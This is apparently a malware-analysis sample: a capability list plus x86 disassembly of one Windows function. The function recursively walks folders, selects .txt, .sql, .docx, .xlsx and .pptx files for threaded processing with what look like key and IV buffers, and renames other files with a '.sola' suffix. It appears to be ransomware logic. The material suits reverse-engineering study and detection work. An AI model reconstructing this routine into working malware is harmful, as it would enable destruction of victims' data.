Function at 0x401430
Capabilities:
Create thread
Enumerate files on windows
Enumerate files recursively
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x678
mov eax, dword [0x424200]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x670], 0
mov eax, dword [ebp + 8]
push eax
call fcn.00401f20
add esp, 4
test eax, eax
je 0x401462
jmp 0x40175d
mov ecx, dword [ebp + 8]
push ecx
push str._s
push 0x200
lea edx, [ebp - 0x504]
push edx
call fcn.004021f0
add esp, 0x10
lea eax, [ebp - 0x65c]
push eax
lea ecx, [ebp - 0x504]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x66c], eax
cmp dword [ebp - 0x66c], 0xffffffff
jne 0x4014a7
jmp 0x40175d
push 0x424154
lea edx, [ebp - 0x630]
push edx
call fcn.00406f10
add esp, 8
test eax, eax
je 0x401733
push 0x424158
lea eax, [ebp - 0x630]
push eax
call fcn.00406f10
add esp, 8
test eax, eax
je 0x401733
lea ecx, [ebp - 0x630]
push ecx
mov edx, dword [ebp + 8]
push edx
push str._s_s
push 0x200
lea eax, [ebp - 0x204]
push eax
call fcn.004021f0
add esp, 0x14
mov ecx, dword [ebp - 0x65c]
and ecx, 0x10
je 0x40152e
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x204]
push edx
call fcn.00401430
add esp, 0x10
jmp 0x401733
cmp dword [ebp - 0x670], 0
jne 0x40154d
mov eax, dword [ebp + 8]
push eax
call fcn.00401e90
add esp, 4
mov dword [ebp - 0x670], 1
cmp dword [ebp + 0x14], 0
je 0x4015c5
push 0x34
call fcn.0040719f
add esp, 4
mov dword [ebp - 0x660], eax
lea ecx, [ebp - 0x204]
push ecx
call fcn.00406f9c
add esp, 4
mov edx, dword [ebp - 0x660]
mov dword [edx], eax
push 0x20
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x660]
add ecx, 4
push ecx
call fcn.00404620
add esp, 0xc
push 0x10
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x660]
add eax, 0x24
push eax
call fcn.00404620
add esp, 0xc
mov ecx, dword [ebp - 0x660]
push ecx
push 0
push 0x401e40
call fcn.0040add1
add esp, 0xc
jmp 0x401733
mov dword [ebp - 0x51c], str..txt
mov dword [ebp - 0x518], str..sql
mov dword [ebp - 0x514], str..docx
mov dword [ebp - 0x510], str..xlsx
mov dword [ebp - 0x50c], str..pptx
mov dword [ebp - 0x508], 0
push 0x2e
lea edx, [ebp - 0x204]
push edx
call fcn.00404ba0
add esp, 8
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x678], 0
cmp dword [ebp - 0x674], 0
je 0x401685
mov dword [ebp - 0x664], 0
jmp 0x401646
mov eax, dword [ebp - 0x664]
add eax, 1
mov dword [ebp - 0x664], eax
mov ecx, dword [ebp - 0x664]
cmp dword [ebp + ecx*4 - 0x51c], 0
je 0x401685
mov edx, dword [ebp - 0x664]
mov eax, dword [ebp + edx*4 - 0x51c]
push eax
mov ecx, dword [ebp - 0x674]
push ecx
call fcn.004070ab
add esp, 8
test eax, eax
jne 0x401683
mov dword [ebp - 0x678], 1
jmp 0x401685
jmp 0x401637
cmp dword [ebp - 0x678], 0
je 0x4016fd
push 0x34
call fcn.0040719f
add esp, 4
mov dword [ebp - 0x668], eax
lea edx, [ebp - 0x204]
push edx
call fcn.00406f9c
add esp, 4
mov ecx, dword [ebp - 0x668]
mov dword [ecx], eax
push 0x20
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0x668]
add eax, 4
push eax
call fcn.00404620
add esp, 0xc
push 0x10
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x668]
add edx, 0x24
push edx
call fcn.00404620
add esp, 0xc
mov eax, dword [ebp - 0x668]
push eax
push 0
push 0x401e40
call fcn.0040add1
add esp, 0xc
jmp 0x401733
lea ecx, [ebp - 0x204]
push ecx
push str._s.sola
push 0x100
lea edx, [ebp - 0x304]
push edx
call fcn.004021f0
add esp, 0x10
lea eax, [ebp - 0x304]
push eax
lea ecx, [ebp - 0x204]
push ecx
call fcn.004085dd
add esp, 8
lea edx, [ebp - 0x65c]
push edx
mov eax, dword [ebp - 0x66c]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4014a7
mov ecx, dword [ebp - 0x66c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
nop
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402284
mov esp, ebp
pop ebp
ret